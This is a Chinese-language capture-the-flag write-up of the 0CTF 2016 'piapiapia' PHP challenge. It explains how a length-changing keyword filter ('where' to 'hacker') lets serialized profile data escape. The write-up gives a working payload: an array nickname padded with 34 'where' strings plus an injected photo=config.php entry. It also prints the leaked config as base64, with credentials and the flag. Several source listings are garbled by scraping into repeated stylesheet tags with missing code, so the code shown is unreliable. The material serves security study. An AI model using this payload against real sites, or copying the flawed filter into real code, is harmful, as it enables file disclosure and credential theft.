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php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)
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一个很可爱的登录界面：

php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)

进行一下目录扫描，发现源码泄露www.zip，把源码给出：

index.php

<"static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="/UploadFiles/2021-04-02/jquery.min.js">



<"static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="/UploadFiles/2021-04-02/jquery.min.js">



<"index.php" rel="external nofollow" >Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
"static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="/UploadFiles/2021-04-02/jquery.min.js">



<"profile.php" rel="external nofollow" >Your Profile</a>';
	}
	else {
"static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="/UploadFiles/2021-04-02/jquery.min.js">



<"username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);





最后是config.php：





<"text-align: center">php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)


这个地方貌似有个文件读取的地方，在profile.php中：





else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
"htmlcode">



$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));





结果如下：





Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)





可以看到反序列化之后，最后面upload这一部分就没了，下面就是想办法把config.php塞进去了。


从数组顺序上看是和上面数组的顺序一样的，可以抓个包看下post顺序，那么最有可能的就是从nickname下手了。


在设置了$profile之后，用update_profile()函数进行处理：





public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}





进行了过滤：





public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}





有两个正则过滤，带上输入nickname时候有一个正则，总共三个过滤的地方，首先要绕过第一个输入时候的正则：





if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');
数组即可绕过：
nickname[]=

那么$profile就是这样了：
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}





后面的正则要怎么利用呢，可以看到如果我们输入的有where，会替换成hacker，这样的话长度就变了，序列化后的每个变量都是有长度的，那么反序列化会怎么处理呢？我们应该怎么构造呢？


数组绕过了第一个正则过滤之后，如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34个字符，如果利用正则替换34个where，不就可以把这34个给挤出去，后面的upload因为序列化串被我们闭合了也就没用了：





nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}





在where被正则匹配换成hacker之后，正好满足长度，然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了，被反序列化的时候就会被当成photo，就可以读取到config.php的内容了。


下面开始操作：注册之后登陆，进入到update.php页面，输入信息及上传图片，用bp抓包把nickname改成数组即可： php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)


然后进入到profile中查看图片信息，把base64码解码：




PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==




解码得到：







<"color: #ff0000">总结


以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)，希望对大家有所帮助！


                                

                                

                                     

                                
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